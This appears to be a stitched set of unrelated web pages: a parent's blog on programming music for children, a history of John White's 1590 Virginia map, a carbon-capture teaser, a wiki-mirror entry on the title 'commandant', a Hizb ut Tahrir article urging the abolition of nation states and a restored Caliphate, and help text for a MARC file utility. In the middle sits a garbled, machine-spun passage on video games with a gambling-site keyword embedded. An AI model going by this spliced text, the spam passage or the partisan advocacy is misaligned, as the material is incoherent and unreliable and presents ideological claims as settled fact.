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Computer Programmed Music for Kids: Scratch, Pencil Code, Trinket, Sonic Pi
My nearly 10 year old son got interested in finding ways to program music so we've tried out Scratch, Pencil Code Gym Jam, Trinket and Sonic Pi.
He came home from school wanting to learn to play In the Hall of the Mountain King by Edvard Greig which he had heard at school. He has liked the piece for a long time but hadn't been at the point where he could play it.
He plays the violin and reads music so we found some sheet music and he took it to his music lesson for some help in getting started. He's working on playing the piece on the violin but we thought it might be interesting to try and program it too.
We tried Scratch, Sonic Pi, Pencil Code Gym Jam and Trinket, all tools that can be used for free, and except for Sonic Pi they can all be used in a web browser without downloading or installing anything.
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Programming Music with Scratch
Scratch uses midi notes which can be selected from an on screen piano keyboard. The first challenge was to turn the musical notation into letters / midi numbers. This was a great exercise in logical thinking and applying a cipher!
Then he started coding in Scratch. Scratch has really simple clear commands for musical programming. First he just programmed the notes with the correct lengths. He used custom blocks for repeated patterns within the notes. He found some errors in his transcription by listening to the music and was able to fix them with a bit of help from his dad.
Scratch doesn't have a violin instrument but it does have a cello so my son was happy to use that.
But the music shows that the notes should be played Staccato which means that the notes are played quickly with a small gap in between. There is a Pizzicato instrument which was quite good, but my son wanted to fine tune the effect. It was easy to achieve a Staccato effect in Scratch by adding a custom staccato block which takes a note and the beats it should be played for and plays the note followed by a small rest. This sounded much better.
Using Scratch to play music turned out to be a great introduction to custom blocks and to input parameters - there was a real reason to use them to create the staccato effect. He's still working on the project but here's a snapshot of Hall of the Mountain King in Scratch.
Scratch projects can easily be shared online and can also be embedded in web pages.
There's also the Scratch Tone Synth Extension for ScratchX which allows you to play around with electronically generated synthesizer sounds and concepts in Scratch.
Programming Music with Sonic Pi
I did show my son Sonic Pi before he started coding in Scratch but it was clear that we would have to spend lots of time reading and looking things up rather than just getting on with the coding as he could in Scratch. This surprised me a bit as it's a language specifically for writing music.
We could play basic midi notes easily enough. But putting a more complex piece together was more work than in Scratch. It seems that you can either add sleep commands within notes or add a list of timings after the list of notes. The former is long-winded while the latter has an unnatural separation between notes and their timing. This might make sense for a very repetitive rhythm but it seemed awkward for the piece we were working with.
Scratch was much simpler with its 'play sound note for beats' and 'rest' commands. Patterns can easily be programmed in where there's repetition.
There didn't seem to be an easy way to get a staccato effect without lots of reading and experimenting though I'm sure it's possible. There are lots of ways to create effects.
Update: Sam Aaron (creator of Sonic Pi) reached out to us and helped. Thanks Sam! From the Sonic Pi documenation, 'release' is "is the time it takes for the synth’s sound to fade out."
Here's our attempt at staccato in Sonic Pi:
If we had been able to quickly find a violin sound to use my son might have persevered but he was put off by the mostly electronic sounds and the need to go and read documentation before being able to do anything.
Sonic Pi isn't available as an online editor and must be installed, it comes pre-installed on the Raspberry Pi.
Sonic Pi would be better for older coders who want to make the most of its more advanced features and who like electro-synth style music.
Trinket Interactive Music Notation
Trinket is an online coding tool which supports Python and HTML coding. It also has an interactive music notation editor.
Trinket is fairly basic but has the advantage of showing musical notation. You can also embed music in web pages, click the play button to try it.
We couldn't see a way to achieve a Staccato effect without adding lots of complexity by using short rests which would spoil the readability of the music.
Trinket is fab for composing and sharing simple pieces of music.
Pencil Code Gym Jam
We also looked at Pencil Code Gym Jam. Pencil Code allows you to easily switch between blocks and CoffeeScript text-based coding. You can create art, games and importantly for this project music.
It was really quick to write the tune and the timing in Pencil Code Gym Jam and making the notes Stacatto just involved adding a dot before them (the musical notation is a dot above or below the note.)
play '.B/2 .C/2 .D/2 .E/2 .F/2 .D/2 . F'
Wow. That's easy. And you can easily get the notes to play on an on-screen piano. Pencil Code can also be embedded in web pages and projects can easily be shared with a url.
Click to play:
You've got access to loads of blocks for creating a multimedia project or game that includes music.
You don't have a choice of instruments in Pencil Code (though it's something they would like to add). You can create your own sounds using some included waveforms and parameters (in the same style as Sonic Pi, but easier to get started with.)
The lack of a stringed instrument wasn't ideal for our project and my son already knows Scratch well so he stuck to Scratch this time but Pencil Code looks fab.
Programming Music on the 3D Printer
While all this was going on, my partner used MIDI-to-CNC to play the Hall of the Mountain Kings on the 3D printer, as you do. This takes frequencies and turns them into movements on the 3D printer. Gives a new meaning to electronic music ...
Scratch is really quick and easy for programming with music, it has just the right set of concepts and programming constructs. It also has the added bonus of having the ability to create full multimedia projects that combine sound, animation and interactivity. You do have to translate from musical notes to midi tones, there's a built in piano to help with this, but you lose the connection. Lots of kids will already be familiar with Scratch which helps.
Pencil Code Gym Jam is also excellent and makes it really easy to keep the relationship with the musical notes. It also has the option to experiment with electronic synth sounds. Pencil Code also allows kids to easily transition to text when they're ready.
Trinket is very useful for children who also read sheet music or want to learn. The focus is on the music rather than coding. It's great for learning music theory and composing music. The Open Music Theory online textbook uses embedded trinkets.
Sonic Pi looks good for teenagers wanting to work with electronic music. It might be a good way to get a music enthusiast to learn coding concepts. We'd probably start with Pencil Code Gym Jam first though as it's an easier environment to learn the concepts of programmed, generated and interactive synth music.
Our focus was on coding an existing piece of music, of course kids can also explore composing their own music through coding which includes the possibility of 'live coding' and computer generated music. I definitely recommend trying to program music as a great way to improve children's coding ability and their understanding of music.
Tech Age Kids | Technology for Children: Computer Programmed Music for Kids: Scratch, Pencil Code, Trinket, Sonic Pi
Tech Age Kids | Technology for Children |
"That part of America, now called Virginia" | Virginia Museum of History & Culture
"In the Beginning, all America was Virginia."
William Byrd II
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"That part of America, now called Virginia"
John White, 1585–1593. Americæ pars, nunc Virginia dicta: primum ab Anglis inuenta, sumtibus Dn. Walteri Raleigh, Equestris ordinis Viri, Anno D ni. MDLXXXV regni Vero Sereniss: nostræ Reginæ Elisabethæ XXVII, hujus vero Historia peculiari Libro descripta est, additis etiam Indigenarum Iconibus / autore Ioanne With ; sculptore Theodoro de Bry, qui et. excud. From Thomas Hariot, "Admiranda Narratio fida tamen, de Commodis et Incolarum Ritibus Virginiae" (Francoforti ad Moenum, 1590). Map F221 1590:1 ManuscriptsIn 1590, John White's Americæ pars, nunc Virginia dicta was published. Americæ pars, nunc Virginia dicta depicts the Outer Banks coastal region around Roanoke Island north to tidewater Virginia. It is the first separate map of “Virginia” and the first printed record of Sir Walter Raleigh’s attempt to establish a colony in North America. On the map, the Chesapeake Bay is named for the first time as “Chesepiooc Sinus.”
historical context:
John White, an English artist, explorer, and cartographer, likely joined an expedition to America in 1576 in search of precious metals and the Northwest Passage to Asia. White’s skillful illustrations of the Inuits in Greenland was later brought to the attention of Sir Walter Raleigh, who was planning a series of voyages to America to establish a permanent colony that could enrich the English and enable them to Christianize the natives.
White wrote in 1593 that he had made five voyages to North America, so it is likely that he accompanied Raleigh’s first expedition, which was authorized by Queen Elizabeth I in 1584 to explore and colonize an area north of Spanish Florida. The explorers reached Roanoke Island in the Outer Banks of North Carolina and named the entire region along the Atlantic coast “Virginia.” Raleigh ordered them to survey the coast ahead of a larger expedition planned for the following year. They returned to England with two prominent Indians: Wanchese, an adviser to the Roanoke weroance, or chief, and Manteo, a son of a female chief of the Croatoan island tribe.
After studying the culture and language of the Algonquian-speaking natives, White and Thomas Hariot joined the second voyage to Roanoke in 1585. Led by Sir Richard Grenville and accompanied by 600 colonists, mostly military men, they were charged with drawing, mapping, and recording details of the natives and landscape. They joined a party to the mainland, where White encountered and illustrated the towns of Pomeiooc, Aquascogoc and Secotan. Grenville later returned to England and left about one hundred men under the command of Ralph Lane to build a fort and houses at Roanoke, which antagonized the local Indians. During the winter, White and Hariot sailed north to the Chesapeake Bay, where they visited the Chesapeake capital of Skicoak and other Algonquian towns.
By the summer of 1586, interaction with the natives had turned hostile, and the colonists left Roanoke with Sir Francis Drake, who had arrived unexpectedly. Grenville, who reappeared in 1586 too late to relieve the colony, left a small group of men to hold the fort, but they were killed by the natives. The following year, Raleigh attempted again to establish a settlement, this time to be built near the Chesapeake Bay, where the Indians seemed friendlier and the water was more navigable. His corporate charter named John White the governor of the new colony that would build the “Cittie of Raleigh in Virginea.”
White arrived in the summer of 1587 with more than one hundred colonists, mostly laborers, farmers, and their families, including his own pregnant daughter, Eleanor White Dare. He ordered the pilot of his flagship Lion to stop at Roanoke to check on the men left by Grenville, all of whom had disappeared. After determining to keep the settlers at Roanoke, White returned to England to resupply the colony, leaving behind his daughter, son-in-law, and newborn granddaughter, Virginia Dare. In 1588, Grenville prepared to relieve the Roanoke colony, but was diverted to battle the Spanish Armada. White had to wait for the war with Spain to end for more ships to become available. He finally returned to Roanoke in 1590 and found that the fort and houses were deserted and the colonists had vanished.
White described in a report of his final trip that a small party in search of the colonists had discovered the word “CROATOAN” carved into a post at the site where the settlers’ houses once stood. White and the settlers had agreed that if they had to relocate during his absence, they should leave a message indicating their new location. A cross carved above the message would have been seen as a sign of distress, but to White’s relief, there was no cross. Since Croatoan was the home of Manteo’s friendly tribe, White hoped that at least some of the colonists had moved there. However, the privateers that had delivered White to Roanoke did not want to linger there during hurricane season, and a fierce storm prevented the party from sailing to Croatoan. White departed with another ship to the Caribbean and never returned to Roanoke. He likely retired to one of Raleigh’s estates in Ireland where he died in 1593 after writing an account of his final voyage to Virginia.
Archival context and the source:
Although the fate of John White’s Roanoke colonists remains uncertain to this day, his contribution to English colonization in North America is unquestionable. The scholarly and artistic work of White and Hariot encouraged investors and explorers to continue their efforts to settle permanently in the New World. The watercolors that White produced during his year-long travel throughout the mid-Atlantic coast are the earliest illustrated European depictions of Native Americans. A group of White’s original paintings are housed at the British Museum in London, but detail of their original creation remains somewhat uncertain.
White may have sketched illustrations from observation and used those sketches to paint finished products, from which he made subsequent copies. The British Museum owns the only extant paintings, which are either from his original master set or ones that he copied. Some of White’s originals were lost before reaching Europe when Sir Francis Drake’s sailors threw overboard a chest containing some of his work. The other source of contemporary renderings of White’s work outside the British museum are the Theodor de Bry engravings incorporated into the 1590 edition of A briefe and true report of the new found land of Virginia.
In addition to illustrating scenes of Indian life, White worked with Hariot to produce highly accurate maps which became models for cartography in America. Although some of these maps remained unpublished, others were printed, including a small map of Roanoke Island, and a large map of the surrounding region, featured in A briefe and true report.
Several engravings of White’s maps are in the collection of the Virginia Historical Society. These include Virginiae item et Floridae Americae provinciarum, nova description, the first map to identify “Virginia” north of Florida; Anglorum in Virginiam adventus, a map that depicts Roanoke Island surrounded by barrier isles; and Americæ pars, nunc Virginia dicta, printed in de Bry’s edition of Hariot’s report.
Americæ pars, nunc Virginia dicta depicts the Outer Banks coastal region around Roanoke Island north to tidewater Virginia. White created the original manuscript in 1585 during his and Hariot’s voyage. The 1585 map is now at the British Museum. White revised the map by adding names and more details of the coast using information he gained in 1587, and de Bry engraved and published the revised map in 1590. The copy of the 1590 map at the Virginia Historical Society is from de Bry’s Latin edition of Hariot’s work. Americæ pars, nunc Virginia dicta covers the stretch of coast from Cape Fear to the Chesapeake Bay. It is the first separate map of “Virginia” and the first printed record of Sir Walter Raleigh’s attempt to establish a colony in North America. On the map, the Chesapeake Bay is named for the first time as “Chesepiooc Sinus.”
John White’s original maps followed a north/south axis, but de Bry reoriented his engraved version of this map so that the north is shown to the right and the west is at the top. It was common for early maps to be oriented in the direction of the view of an approaching ship from western Europe.
This map was formerly part of the Coolie Verner collection acquired by Paul Mellon, who bequeathed it to the Virginia Historical Society in 1999.
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Can carbon-capture move us towards sustainability?
Saskatchewan is a pioneer in carbon capture and storage (CCS) and the Sask Party government thinks this is a win-win-win: good for the economy, for the oil industry and for reducing carbon emissions. How can anything be so good? There is an international CCS consortium in Iceland and the world’s largest user of coal, China, has several test projects. With 50% of its electricity coming from coal plants, the U.S. has a few projects, notably the country’s first commercial one at the large, 1,300-MW Mountaineer coal plant at New Haven. Carbon-laden coal plants are on the short list of things that need replacing to reduce greenhouse gases (GHGs). But Is CCS a good bet to do this? |
Investigation into the upsides and downsides of computer games are being directed by different bodies remembering colleges for certain pieces of the world and the outcome is that the stars exceed the cons in regard of sarangdomino.
When playing computer games, you would need to respond rapidly and take split second choices so as to prevail in the given errand. It is accepted that this sort of training would give benefits, in actuality, where you would be capable respond with speed and take fast choices.
Mind researchers have found that a specific driving computer game, made by an innovative work group at the University of California in San Francisco could improve the momentary memory and long haul focal point of more seasoned grown-ups.
It was discovered that submersion in a game diverts the psyche from torment and inconvenience. Because of this explanation, a few clinics have begun to recommend that kids and others going through difficult medicines mess around to decrease their trouble and uneasiness.
Some computer games have given improvement in “Intellectual Flexibility”, which is the capacity to switch rapidly starting with one errand then onto the next.
Scientists from North Carolina State University found a connection between playing computer games and mental prosperity among the old. They found that those residents who played computer games, even once in a while, encountered a condition of prosperity and satisfaction.
Gaming can likewise improve family connections, as a portion of these games can and ought to be played together.
As indicated by certain investigations directed at the University of Rochester, individuals playing certain titles of computer games have demonstrated enhancements in tests in the accompanying territories:
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Get Commandant essential facts below. View Videos or join the Commandant discussion. Add Commandant to your PopFlock.com topic list for future reference or share this resource on social media.
Commandant ( or ) is a title often given to the officer in charge of a military (or other uniformed service) training establishment or academy. This usage is common in English-speaking nations. In some countries it may be a military or police rank. It is also often used to refer to the commander of a military prison or prison camp (including concentration camps and prisoner of war camps).
In Bangladesh Armed Forces commandant is not any rank. It is an appointment. The commandant serves as the head of any military training institutes.
Commandant is the normal Canadian French-language term for the commanding officer of a mid-sized unit, such as a regiment or battalion, within the Canadian Forces. In smaller units, the commander is usually known in French as the officier commandant.
Conversely, in Canadian English, the word commandant is used exclusively for the commanding officers of military units that provide oversight and/or services to a resident population (such as a military school or college, a long-term health care facility or a detention facility.
In the French Army and French Air Force, the term commandant is used as a rank equivalent to major (NATO rank code OF-3). However, in the French Navy commandant is the style, but not the rank, of the senior officers, specifically capitaine de corvette, capitaine de frégate and capitaine de vaisseau.
Armed Forces
In the Indian Armed Forces, 'Commandant' is not a rank but an appointment. Commandant is the title of the heads of the Training establishments. Examples include:
In the Indian Army, the Commanding Officer of an armoured regiment or a Mechanized infantry regiment (Mechanised Infantry Regiment, Brigade of The Guards) is known as the Commandant.
Central Armed Police Forces (CAPF)
In the Central Armed Police Forces (BSF, CRPF, CISF, ITBP, SSB), 'Commandant' is a rank. It is equivalent to the rank of Senior Superintendent of Police. The Commanding Officers of the battalions of the CAPFs.
In the Irish Army, commandant is the equivalent of major in other armies. Irish Army commandants can sometimes be referred to as major if serving overseas under the umbrella of the United Nations or the European Union to alleviate misunderstanding.
Kenya Defence Forces
In the Kenya Defence Forces Commandant is an appointment. Commandant is the title of the head of the training institutions . Examples include:
• Commandant of the Recruits Training School
• Commandant of the Kenya Military Academy
• Commandant of the National Defence College
• Commandant of the Defence Staff College
• Commandant of School of Infantry
National Police Service
In the National Police Service , the title of Commandant is reserved for commanders of large training institutions or commanders of large independent units. As with the Army, the post of a commander of a medium size unit is referred to as the Commanding Officer (CO) while the smallest is Officer Commanding (OC).
• Commandant of the General Service Unit (GSU)
• Commandant National Police College Embakasi A Campus
• Commandant Rapid Deployment
• Commandant Kenya Airports Police Unit
In the Philippines, a Commandant is an appointment and not a rank but once selected, the appointee is promoted to the highest rank on the service. Commandants are appointed by the President of the Philippines either after the incumbent retires or as a replacement after dismissal.
There are currently two Commandant appointments that exist in the Philippines namely:
The Commandant of the Philippine Marine Corps will be promoted to the rank of Major General (Two-star Rank) once appointed while the Commandant of the Philippine Coast Guard will be promoted to the rank of an Admiral (Four-star Rank).
South Africa
South African army commandant insignia
In South Africa, Commandant was the title of the commanding officer of a commando (militia) unit in the 19th and early 20th centuries.
During the First World War, Commandant was used as a title by officers commanding Defence Rifle Association units, also known as Burgher commandoes. The commandoes were militia units raised in emergencies and constituted the third line of defence after the Permanent Force and the part-time Active Citizen Force regiments. The commandant rank was equivalent to major[1][2] or lieutenant-colonel, depending on the size of the commando.
From 1950 to 1994 commandant (rank) was the rank equivalent of lieutenant colonel.[3] and commander of a battalion. The rank was used by both the Army and the Air Force. The naval equivalent was commander [kommandeur in Afrikaans].[4] The rank was not used by the South African Police, who continued with lieutenant colonel [luitenant-kolonel].
The rank insignia for a Commandant (Kommandant in Afrikaans) was initially a crown over a five-pointed star.[5]:113-128[1] In 1957 the crown was replaced by a pentagonal castle device [6] based on the floor plan of the Castle of Good Hope in Cape Town, South Africa's oldest military building. In 1994, the rank of Commandant / Kommandant reverted to lieutenant colonel.[7]:4
From 1968 to 1970, a related rank, Chief Commandant, existed in the commando forces (the part-time, territorial reserve, roughly equivalent to a National Guard or Home Guard).[8]
Recently, use of the term has followed the standard practice, i.e. the commanding officer of a training institute.
New Zealand
In the New Zealand Defence Force, the term commandant is used for the senior officer (or commander) of garrisoned units that do not deploy and are not operational. This typically includes learning institutes such as the New Zealand Defence College, the New Zealand Cadet Force, and (formerly) the Command and Staff College. The title could also be used for other non-deploying units such as the Services Corrective Establishment in Burnham, or depot-level engineering units.
The equivalent term for operational units is 'commander', such as commander of the Joint Force Headquarters New Zealand.
Under the 2010 creation of the Training and Education Directorate, an additional position of commandant was established for the Training Institute to complement the commandant of the Defence College.
In the National Police Cadet Corps (NPCC), the position of Commandant is given to a Singapore Police Force officer who heads NPCC. The Commandant is aided by his Assistant Commandants, who are NPCC officers. As NPCC units around Singapore are divided into 20 "areas", each area is headed by an Area Commandant who is an NPCC officer. This Area Commandant is also usually an Officer from one of the units in the area that he/she is taking charge of.[9]
Sri Lanka
In Sri Lanka, the Commandant of the Volunteer Force is the head of the Sri Lanka Army Volunteer Force. Commandant is also the title used for the commanding officer (one-star rank) of military academies - Sri Lanka Military Academy, Naval and Maritime Academy and Air Force Academy - and the commanding officer (two-star rank) of the Defence Services Command and Staff College. It is also the title of the de facto vice-chancellor of the General Sir John Kotelawala Defence University, usually an officer of two-star rank.
Colonel-commandant is an honorary post in corps of the army and the Sri Lanka National Guard, similar to that of Colonel of the Regiment found in infantry regiments. The post of centre commandant is the commanding officer of a corps or regiment. Commandant is the head of the Special Task Force of the Sri Lanka Police.
United Kingdom
In the British Armed Forces, a commandant is usually the commanding officer of a training establishment, such as the Royal Military Academy Sandhurst or the Royal Air Force College Cranwell.
Colonel-commandant was an appointment which existed in the British Army between 1922 and 1928, and in the Royal Marines from 1755 to some time after World War II. It replaced brigadier-general in the army, and was itself replaced by brigadier in both the army and the Marines. The colonel-commandant is also the ceremonial head of some Army corps and this position is usually held by a senior general.
Commandant was also the appointment, equivalent to commodore, held by the director of the Women's Royal Naval Service between 1951 and 1993.
The most senior rank at Army Foundation College (AFC Harrogate) is the rank of Lieutenant Colonel. As he's the most senior officer in charge, he's the Commandant of the entire college.
In the Army Cadet Force, a Colonel is customarily the most senior commissioned officer in charge of an ACF County (of which contains four companies). This rank is thus known as the Commandant and their second-in-command (2IC) is the Deputy Commandant, who has the rank of Lieutenant Colonel. Similarly, the commissioned officer in charge of a detachment (e.g. platoon, troop, aka. "unit") is that detachment's Commanding Officer (CO), and/whereas the officer commanding a company is the Officer-Commanding (OC)
In the Royal Air Force Air Cadets, the officer in charge of the organisation is given the title Commandant Air Cadets and will hold the position for two years.
Formerly, commandant was the usual title for the head of the Special Constabulary within a police force. In some forces the title was Chief Commandant, with subordinate divisional or sub-divisional commandants. The standard title for this position is now "chief officer".
United States
In the United States, "commandant" is an appointment, not a rank, and the following three appointments currently exist:
Formerly, admirals were appointed as commandants of naval districts.
The commandant is the second most senior officer (after the superintendent) of United States Service academies, such as West Point, United States Naval Academy, and the United States Air Force Academy, equivalent to the Dean of Students at a civilian college. Commandant is also the title of the commanding officer of many units of the United States Army Training and Doctrine Command, including the non-commissioned officer academies, whose commandants are typically command sergeants major.
Commandant is also the title of the ranking officer in charge of each War College of the United States military, and is responsible for the administration, academic progress and success of the civilians and military officers assigned to the college. He is a model for all personnel, a military academy graduate of impeccable character and bearing who has demonstrated accomplishment in both academic excellence and active military service in the field. They include the Naval War College, the Air War College, the Army War College, the Marine Corps War College and the National War College.[10]
Commandant is the duty title for the commanding officer of the US Air Force Test Pilot School.
Commandant is also the duty title of the senior enlisted leader of a Professional Military Education (PME) academy, such as the Airman Leadership School, Non-Commissioned Officer Academy, and Senior Non-Commissioned Officer Academy.
The title may also be used for the commander of a unit headquarters, who is usually responsible for administrative matters such as billeting and is called the headquarters commandant; this may also be a duty assigned to a staff officer in large headquarters.
See also
1. ^ a b Radburn, A. (1990). "South African Army Ranks and Insignia". Militaria, South African Journal of Military Studies. 20 (2).
2. ^ Naamlys, Lindley Kommando, Military Archives, Pretoria
3. ^ Government Notice 2092 (25 Aug 1950)
4. ^ Rank Chart, Paratus, 1974
5. ^ Jooste, L. (1996). "Die politieke koerswending van 1948 besorg 'n nuwe identiteit aan die Unieverdedigingsma". Militaria (in Afrikaans). 26 (2).
6. ^ Radburn, A, South African Army Ranks and Insignia, In: Militaria, South African Journal of Military Studies, Vol 20, Nr 2, 1990
7. ^ Salut. 1 (1). May 1994. Missing or empty |title= (help)
8. ^ Retief, J.J. (December 1997). "Die rang van hoofkommandant in die Suid-Afrikaanse Weermag". Military History Journal (in Afrikaans). 10 (6).
9. ^ "National Police Cadet Corps". www.npcc.org.sg. Retrieved .
10. ^ "Archived copy". Archived from the original on 2011-06-15. Retrieved .CS1 maint: archived copy as title (link)
External links
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Concepts, Political Concepts, Side Feature
Nation States: A Shield for Evil
The World Wars wrought havoc on the Western system; the empires collapsed and the number of nation states rose exponentially. This rise was hailed as a victory for people across the world; we were no longer at the mercy of the European powers, but we finally had our rights and could rule in accordance to what was best for us. The states in Africa, Asia, and the Middle East could elect their own rulers. So, apparently they had the power to escape Western rule.
All this happened in the 20th century. The years since then have shown all this to be false. The rise of nation states didn’t help us- it hurt us, and it acts as a shield for the Western system. It created divisions in societies across the world, solidifying the tensions that were left behind by the colonialist divide and rule policy. This impacted every society, across the world- Muslim and non- Muslim.
The result is that we are living in the world where people naively believe that they are free from Western rule. The reality of the current political system, and the decisions that emerge as a result, show that that is far from true.
Muslim Strength in Unity
The Muslims greatest strength has always been in their unity. Borders didn’t break up the Muslim Ummah. We were united in our thoughts, our trust in Allah and our resources.
The Colonialists attacked our thoughts and they divided us by cutting up the Muslim Ummah with nation state borders, installing rulers who continuously hold us back and encourage loyalty to nationalism above and beyond our loyalty and responsibility to Allah, His laws and the Muslim Ummah. They then keep Islam in the background, bringing it to the forefront in their speeches and words when it suits them. As a result, they aren’t quick to respond to threats to the Muslim Ummah and threats to Islam.
The examples of these threats and of the realities that we face are immense.
• The current violence that is being faced by Muslims across the world, whether in war zones like the Yemen and Syria, areas of ethnic violence like in Myanmar and China, or Western states with anti-Muslim attacks as we saw in the attack against the Muslim women in France.
• There are attacks against Islam, with France encouraging the advertisements of the disgusting images of the Prophet ﷺ.
• Then there is the general state of the Muslim Ummah; with rising levels of poverty and inequality across the world.
In each of these instances, the nation state borders are used as a reason for the lack of solutions to problems. The international system places limits on the responses of the states, with the excuse of ensuring that the states across the world can work together in harmony and avoid war. But this is not done with the interests of the people in mind- it is done to ensure that the liberal system, with its focus on nation states as a source of power is maintained.
The Islamic State doesn’t have borders- and its prime objective is the protection of Islam and the Muslim Ummah.
Under the Islamic State, there are no borders- the entire Muslim Ummah is connected, with one Khaleefah who protects Islam and the Muslim Ummah, ensuring their rights are fulfilled and their basic needs are fulfilled. Under the Khilafah, (Caliphate) you would have:
• The Bait Ul Maal, which gathers funds from across the Khilafah and redistributes it where it is needed to ensure that every citizen has their basic needs fulfilled.
• The Muslim army, who would respond to any threat against Allah, His Messenger or the Muslim Ummah.
• The Khaleefah, who will follow Allah’s law and connect the armies across the world under one state, directing them to defend the honour of the citizens of the Khilafah.
In order to ensure that the situation changes, that we don’t turn on the news and see atrocities taking place on a daily basis, we need to change the system. This change would mean abolishing the nation states and Restablishing the Islamic state on the method of the Prophethood. As we saw from the famous Hadith of the Prophet ﷺ, when he rejected the Quraysh’s offer to continue their rule alongside the rule of Islam; «لَوْ وَضَعُوا الشَّمْسَ فِي يَمِينِي وَالْقَمَرَ فِي شِمَالِي عَلَى أَنْ أَتْرُكَ هَذَا الْأَمْرَ حَتَّى يُظْهِرَهُ اللَّهُ أَوْ أَهْلِكَ فِيهِ مَا تَرَكْتُهُ» “If they put the sun in my right hand and the moon in my left on condition that I abandon this course, until God has made me victorious, or I perish therein, I would not abandon it.”
Make no mistake- the protectors of the liberal system understand this, which is why they continuously launch attacks against Islam. Making both Muslims and non-Muslims fear the idea of a ‘political Islam’. They understand that when the Islamic state returns, it would be an end to the current system. They also understand that the Islamic state wouldn’t only receive the support of Muslims, but it would also receive support from non-Muslims, as it is only Allah’s laws which truly ensures that every citizen of the Khilafah is treated fairly and given their basic rights. History holds numerous examples of all of this. Now, the proponents of the Western system are scared that history will repeat itself after spending centuries working tirelessly against Islam and destroying people’s trust in it.
«كَانَتْ بَنُو إِسْرَائِيلَ تَسُوسُهُمْ الْأَنْبِيَاءُ، كُلَّمَا هَلَكَ نَبِيٌّ خَلَفَهُ نَبِيٌّ، وَإِنَّهُ لَا نَبِيَّ بَعْدِي، وَسَتَكُونُ خُلَفَاءُ تَكْثُرُ»، قَالُوا فَمَا تَأْمُرُنَا؟ قَالَ: «فُوا بِبَيْعَةِ الْأَوَّلِ فَالْأَوَّلِ وَأَعْطُوهُمْ حَقَّهُمْ، فَإِنَّ اللَّهَ سَائِلُهُمْ عَمَّا اسْتَرْعَاهُمْ»
“The children of Israel were ruled over by their Prophets. Whenever a Prophet died another Prophet succeeded him. But there will be no Prophet after me. There will be Khulafa’ and they will number many.” They asked: ‘what then do you order us?’ He said: ‘Fulfil the Bay’ah to them, one after the other and give them their dues, for Allah will verily account them about what he entrusted them with.’” (Sahih Bukhari #3455)
Fatima Musab
Member of the Central Media Office of Hizb ut Tahrir |
This utility allows you to take two or more MARC files and join them together, or 'concatenate' them, creating a new file that consists of the sum of the files that you started with. You can also use this utility to append one file to another.
There are three basic steps to concatenating files. First, choose the files that you want to concatenate, or join together. Second, choose the name and location for your results. And third, click 'Go' to start the concatenation program.
The buttons on the left side of the form make it easy for you to select the files you want to work with. Click the 'Source Files' button to select the files that you want to concatenate. You can click this button once for each file you want to add, or select multiple files at the same time by holding down the <Ctrl> key or <Shift> key. Once you have selected the files you want to join, click the 'Results' button to enter the name you want to use for the results file. By default, the Results are saved in the same direcory as the last Source file selected, but you can navigate to any directory and save your results there.
Note that every file that is added to the Source Files list has a checkbox next to it. If you uncheck a file, it will not be added to the results when you start the concatenation job. Click the 'Clear List' button to empty the Source Files list and start from scratch.
When you have your filenames set up, click 'Go'. The program will copy all the files in the Source File list to the results file. The progress bar and status bar at the bottom of the form will provide you with feedback on the program's status. When the job is complete, the Results file will contain all of the records in all of the Source files, with the records being ordered in the same order as the Source files were selected.
There is an option called 'Patterns' under the Source files button. Select this option to switch into 'Pattern mode'. Enter the file pattern you want to match in the box below; you must enter the full path as well as the filename pattern. For example: 'd:\marc\*.mrc' matches every file in the folder 'd:\marc' with a file extension of '.mrc'.
Once the patterns have been entered, click the 'Check Patterns' button on the right. This will tell you how many files that your pattern matched. If there's no match, then check the typing in the pattern and try it again.
If you want to select files from multiple folders, add each folder as a new pattern, one pattern per line. Remember, the patterns have to begin with a path–do not simply enter '*.mrc'–it will not work (unless there are .mrc files in the program directory). If you have long paths in your patterns, it might be a good idea to open up Windows Explorer, navigate to your files, then copy and paste the path from the Explorer addressbar into this form.
This utility performs a raw copy of each file without any MARC verification or error checking. As a result, this raw copy is many times faster than it otherwise would be; however it may not always produce an accurate record count.
When the program is done, it is recommended that you run the Count utility to verify the final record count of the file created by concatenation.
If you want to append one file to another, select the file you want to Append using the Source File button, then select the file that you want to append it to using the Results button. In the Confirmation dialog that follows, select 'Yes'.
We recommend that you use Windows to Copy files. However, if you want to copy one file to another using this utility, select the file you want to Copy using the Source File button, then select the file that you want to copy it to using the Results button. In the Confirmation dialog that follows, select 'No'.
Duplicate files are not included by default. For example, if you select a Source File more than once, it will be added to the Source Files list, but its checkbox will not be selected. If you want these files to be added more than once, you will have to manually check them.
Although it is not an error, the program will alert you if the Results file is present in the Source File list. The purpose of the alert is to prompt you to double-check your options, since the Results file will be destroyed (and be replaced by the sum of the Source Files) when the concatenation is complete.
If 'Concatenate files' is used to join XML files, the following processing is available:
1) The XML declaration (typically '<?xml version=“1.0” encoding=“UTF-8” ?>') will be removed from each file in the list of files to be concatenated
2) The XML declaration will then be added to the beginning of the concatenation results, followed by a new root element that is guaranteed to be unique:
[contents of xml file 1 ...
[contents of xml file 2 ...
[contents of xml file 3 ...
The purpose of adding this root element is ensure that the resulting file is 'well-formed'.
Apart from the check for the XML declaration implied above, Concatenate Files does not validate the XML structure in any way. If using this utility to concatenate XML files from different sources, the results may not be 'valid' (in the XML sense of the term).
You may either accept or decline this special processing. If declined, the files will be concatenated exactly as they are.
Although it was not designed for this purpose, and the instructions above do not mention it, this utility can also be used to concatenate non-MARC files. For example, you could use this utility to concatenate a list of text files.
In this mode, the program counts each byte as a 'record'; therefore, when the program completes, the statistics that are reported may appear refer to the number of bytes concatenated and not 'records'.
Please be aware that some types of files just are not meant to be concatenated.
This option allows you to concatenate the MARC records from different files together in an interleaved order.
For example, if you have three source files named A, B, and C, and each file contains three records, the resulting MARC file in an 'interleaving' concatenation would contain nine records in this order:
whereas, in a normal concatenation, the results file would contain the nine MARC records in this order:
If there are an unequal number of records in the source files, the program maintains the interleaving order until all records from a file are exhausted. For example, given the three files A, B, C, where file A contains 3 records, file B contains 2 records, and file C contains 4 records, the resulting MARC file in an 'interleaving' concatenation would contain nine records in this order:
The ordering of the source files in an interleave operation might be important, depending on what you are going to do with the results. Use drag and drop to put the files in the order that you want.
Interleave requires at least two source files. Interleave is only available if all of the sourcefiles contain MARC records.
As this option creates an unusual results file, you will always receive an 'Are you sure' pop-up when the Interleave option is checked.
